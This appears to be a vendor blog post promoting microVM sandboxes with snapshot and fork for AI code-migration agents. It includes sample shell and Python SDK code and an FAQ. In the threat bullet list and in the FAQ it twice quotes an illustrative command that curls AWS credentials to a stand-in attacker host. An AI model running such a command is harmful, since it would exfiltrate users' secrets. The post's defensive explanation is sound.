Run Code-Migration Agents in MicroVMs, Not on Your CI Box
Automated code migration is one of the best jobs you can hand an AI agent. Bump a dependency across a monorepo, rewrite class components to hooks, rename an API that's called in four hundred places, port a test suite from one framework to another. These are mechanical, well-specified, tedious changes — exactly the work a codemod-plus-LLM loop shines at. The agent clones the repo, applies the migration, then runs the build and the test suite to check its own work, and iterates until the tests go green.
Look closely at that loop, though, because it hides a security problem most people run right past. "Run the build and the test suite" means the agent runs `npm install` (or `pip install`, or `bundle install`), then executes the repo's build script, then executes its tests. Every one of those steps runs arbitrary third-party code at full trust. If the agent is doing this on your CI host or your laptop — the machine where your credentials, your other repos, and your shell history live — you've built a very polite remote code execution service and pointed it at yourself.
I'm Ajay; I built PandaStack. This post is about the shape of the fix: one Firecracker microVM per migration run, a snapshot of the "repo cloned, dependencies installed" state, and a fork per migration variant so the agent can try several strategies in parallel and keep the one whose tests pass. Let me walk through why the naive version is dangerous, then the model that isn't.
The install-build-test loop is running untrusted code
The dangerous belief is that a package manager is a download tool. It isn't. `npm install` runs `preinstall`, `install`, and `postinstall` lifecycle scripts from every package in the tree — yours and every transitive dependency you've never heard of. `pip install` executes `setup.py` at install time. `bundle install` can build native extensions. Before your agent's build command runs, before a single test is collected, you've already executed thousands of lines of code written by strangers, with whatever permissions the calling process has.
- Postinstall scripts are RCE by design — a package the migration pulls in (or a typosquat of one it meant to pull in) can run `curl https://evil.example -d @$HOME/.aws/credentials` from its postinstall hook, and npm will happily run it as part of a normal install.
- The test suite is arbitrary code too — tests execute on import: module-level statements, conftest.py fixtures, setup files, and framework plugins all run before any assertion. A malicious payload does not need to live in a test that passes.
- Supply-chain compromise is not hypothetical — event-stream, ua-parser-js, node-ipc, and a steady drip of others shipped malicious versions to real installs. A migration that bumps dependencies is, definitionally, pulling in versions you haven't audited yet.
- The agent loops — it doesn't run this once; it runs install-build-test over and over as it iterates on the migration, multiplying every exposure and giving a flaky-looking failure plenty of cover.
- The blast radius is your whole machine — CI hosts and dev laptops are credential-rich: deploy keys, registry tokens, other checked-out repos, SSH agents. That's the room you're letting a stranger's code loose in.
There's also a mundane failure that has nothing to do with malice. Migration agents get confused. An agent told to "clean up the build directory" that computes the wrong path and runs `rm -rf` is not doing anything evil — it's doing exactly what a slightly-wrong plan said to do. On a shared host that's your afternoon; in a disposable microVM it's a VM you were going to throw away anyway.
The model: one microVM per migration run
The fix is structural, not a smarter allow-list of packages. You cannot reliably audit arbitrary dependency trees before they install, and you shouldn't try. Instead, move the entire install-build-test loop off your trusted host and into a throwaway Firecracker microVM. The agent — the part holding your credentials and your API keys — stays on your machine and drives a disposable sandbox over an API. The repo gets cloned inside the guest, dependencies install inside the guest, the build and tests run inside the guest. When the run is done, you destroy the VM and the entire blast radius goes with it.
The reason this is practical rather than merely correct is latency. A cold Firecracker boot is a couple of seconds, but PandaStack creates sandboxes by restoring a baked snapshot on demand — the restore step itself is around 49ms, and end-to-end create is p50 179ms (p99 ~203ms). So spinning up a fresh, hardware-isolated machine per migration run costs about a fifth of a second, not a fifth of an hour. Each agent also has 16,384 pre-allocated network slots, so running many migrations across many repos at once is not a capacity problem — memory and CPU are the real ceiling, not slots.
Here's the naive loop, the one people actually run first — clone, install, build, test — written as a shell script. Read it as the thing you want to move into a guest, not the thing you want on your CI host as-is:
#!/usr/bin/env bash
# The migration inner loop. Every line below runs UNTRUSTED third-party code.
set -euo pipefail
REPO="https://github.com/acme/legacy-app.git"
WORKDIR=/workspace/repo
# 1. Clone the target repo.
git clone --depth 1 "$REPO" "$WORKDIR"
cd "$WORKDIR"
# 2. Install deps. npm runs preinstall/install/postinstall for the WHOLE tree.
# (pip would run setup.py; bundler builds native extensions. Same story.)
npm ci # <-- arbitrary postinstall scripts execute here, as YOU
# 3. Apply the migration (a codemod, or an LLM-driven edit pass).
npx jscodeshift -t ./migrations/class-to-hooks.js src/
# 4. Build + run the test suite to verify the migration.
# Tests execute on import, so this is arbitrary code too.
npm run build
npm test # <-- green = keep the change; red = the agent iterates
# On a shared host, steps 2 and 4 are the whole exposure.
# The move is to run this ENTIRE script inside a throwaway microVM.The trust boundary you want is simple: the agent is trusted, the repo and its dependency tree are not, and the two only meet inside a VM that exists for one migration run and then doesn't.
Snapshot the baseline, fork to try N variants
Isolation is the reason to reach for microVMs; parallelism is the reason to stay. Real migrations rarely have one right answer. Do you rename the API with a codemod or a regex pass? Bump the dependency to the latest major or the last known-good minor? Rewrite the component with hooks and a custom hook, or inline the state? The honest way to choose is to try several and keep whichever one's test suite passes — best-of-N, but for code changes.
Doing that from scratch each time is wasteful: cloning is cheap, but `npm ci` on a real repo is minutes of downloading the same wheels and tarballs over and over. Snapshot and fork removes that cost. You do the expensive, trusted setup once — clone the repo, install the full dependency set from a known-good lockfile — and snapshot that state as a baseline. Then each migration variant is a fork of that baseline: it already has node_modules populated, so a variant only applies its own edits and runs the tests.
A same-host fork lands in roughly 400–750ms and shares the baseline's disk copy-on-write, so ten variants don't cost ten copies of node_modules — they share the baseline's blocks until each one writes. (A cross-host fork runs 1.2–3.5s when the baseline lives on another agent.) Fan out N forks, run each variant's migration, collect the test results, keep the winner, throw the rest away.
Here's the pattern with the Python SDK: build a trusted baseline once, snapshot it, then fork it per migration variant. Each fork runs a different strategy in its own hardware-isolated guest, and you keep the fork whose tests pass.
from pandastack import Sandbox
REPO = "https://github.com/acme/legacy-app.git"
# --- Build the trusted baseline ONCE: clone + install from a known-good lock. ---
# This is the slow, trusted part. Do it in a guest too (postinstall runs here),
# but you control the lockfile, so it's your dependencies, not a migration's.
base = Sandbox.create(template="agent", ttl_seconds=1800, persistent=True)
base.exec(
f"git clone --depth 1 {REPO} /workspace/repo",
timeout_seconds=120,
)
base.exec(
"cd /workspace/repo && npm ci", # the minutes-long part, done ONCE
timeout_seconds=900,
)
baseline = base.snapshot() # capture "cloned + deps installed" on disk
base.hibernate() # park it; the forks don't need it running
# --- Try N migration strategies in parallel, each in its own fork. ---
# fork() captures DISK state, so every variant already has node_modules.
VARIANTS = {
"codemod": "npx jscodeshift -t ./migrations/class-to-hooks.js src/",
"llm-pass": "python3 ./migrations/llm_rewrite.py src/",
"minimal": "npx jscodeshift -t ./migrations/hooks-minimal.js src/",
}
results = {}
for name, migrate_cmd in VARIANTS.items():
with baseline.fork(ttl_seconds=900) as sbx: # ~400-750ms same-host
# Apply this variant's migration onto the pre-installed tree.
sbx.exec(f"cd /workspace/repo && {migrate_cmd}", timeout_seconds=300)
# Verify: build + tests. This is the untrusted loop, safely in a guest.
sbx.exec("cd /workspace/repo && npm run build", timeout_seconds=600)
tests = sbx.exec(
"cd /workspace/repo && npm test", timeout_seconds=600
)
results[name] = tests.exit_code
# Keep the winner's diff before the fork is destroyed on block exit.
if tests.exit_code == 0:
diff = sbx.exec("cd /workspace/repo && git diff", timeout_seconds=60)
results[name] = {"passed": True, "diff": diff.stdout}
# fork destroyed here; the baseline snapshot is untouched, ready to re-fork
# Pick the strategy whose tests went green; discard the rest.
winner = next((n for n, r in results.items()
if isinstance(r, dict) and r["passed"]), None)
print("winning migration strategy:", winner)Host / CI vs container vs microVM + fork
- Isolation strength — Host/CI: none; the install and tests run next to your keys and other repos. Container per run: shares the host kernel, so an escape or kernel bug reaches the host. MicroVM + fork: hardware-virtualized guest with its own kernel — the model AWS Lambda runs untrusted code with.
- Parallel migration variants — Host/CI: serial, or you race N runs on one machine and let them clobber each other's node_modules. Container: each needs its own full install, so N variants means N cold installs. MicroVM + fork: snapshot the baseline once, fork copy-on-write per variant in ~400-750ms — variants share the installed tree until they write.
- Reproducibility — Host/CI: state leaks between runs (caches, global installs, leftover files) so run N+1 isn't run N. Container: better, but reused images drift and layer caches carry state forward. MicroVM + fork: every variant forks the same immutable baseline snapshot, so each starts from a byte-identical known-good state.
- Cleanup — Host/CI: manual and error-prone; a confused agent's rm -rf or a poisoned cache persists. Container: docker rm, if you remember, and if nothing escaped it. MicroVM + fork: context manager + ttl_seconds destroy the guest on exit — there is no next run for a compromise to persist into.
None of this makes the migration agent smarter — the LLM still writes the codemod and reads the failures. What changes is where that work runs. The dependency install and the test suite execute inside a disposable guest that holds none of your secrets; your agent reasons over the results on a trusted host. The repo gets a full, real environment to prove the migration in, your keys never enter the room, and at ~179ms per create plus ~400ms per fork, the isolation costs you almost nothing.
If you want the deeper mechanics behind any of this: snapshot and fork gets its own walkthrough in /blog/snapshot-and-fork-explained, the postinstall-script threat is covered end-to-end in /blog/sandbox-untrusted-npm-install, and fanning out many isolated runs at once is the subject of /blog/agent-swarm-parallel-sandboxes.
Frequently asked questions
Why is running an AI migration agent's install and tests on my CI host dangerous?
Because the loop runs untrusted third-party code at full trust. `npm install` runs preinstall/install/postinstall lifecycle scripts for every package in the dependency tree; `pip install` runs setup.py; the test suite executes code on import (module-level statements, fixtures, plugins) before any assertion. A malicious or compromised dependency — and a migration that bumps dependencies is pulling in versions you haven't audited — can run `curl evil.example -d @$HOME/.aws/credentials` as part of a normal install. CI hosts and laptops are credential-rich, so a single line of a stranger's postinstall script can exfiltrate deploy keys, registry tokens, or other repos. Run the whole loop in a throwaway microVM instead.
Isn't a container enough to isolate the migration run?
A plain container shares the host kernel, so a container escape or a kernel vulnerability reaches the host and every neighbor — a known class of bug. For code you didn't write and can't review (arbitrary dependency trees plus a repo's own build and tests), you want a hardware-virtualized boundary. A Firecracker microVM boots its own guest kernel, so the same class of bug is contained to one disposable VM. That's the isolation model AWS Lambda uses to run untrusted code from many tenants.
How does fork let me try multiple migration strategies in parallel?
Build a trusted baseline once — clone the repo and install dependencies from your known-good lockfile — then snapshot it. For each migration variant (a codemod, an LLM rewrite, a different dependency version), fork the baseline instead of creating from scratch. On PandaStack a same-host fork lands in ~400-750ms and shares the baseline's disk copy-on-write, so ten variants don't cost ten copies of node_modules. Run each variant's migration and test suite in its own fork, collect the results, keep whichever variant's tests pass, and destroy the rest. It's best-of-N for code changes.
Does PandaStack fork capture live memory or just disk?
Today a fork captures disk state — the rootfs is cloned copy-on-write, so the checked-out repo and the installed node_modules come along automatically. It does not currently fork live guest memory, so a fork does not resume a running process; it starts from the on-disk baseline and runs its own build and tests. For the install-build-test migration loop that's exactly the split you want: the slow, shared part (dependencies on disk) is inherited by every fork, and each variant does its own fast build-and-test.
What latency should I expect for a microVM-per-migration setup?
On PandaStack a fresh sandbox create is p50 179ms (p99 ~203ms), because every create restores a baked snapshot on demand — the restore step itself is around 49ms — rather than cold-booting (a cold boot is ~3s and only happens once, at bake time). Forking a warm baseline is ~400-750ms same-host, or 1.2-3.5s cross-host. Each agent has 16,384 pre-allocated network slots, so running many migrations or many variants concurrently isn't a slot-capacity limit — memory and CPU are.
49ms p50 cold start. Fork, snapshot, and scale to zero.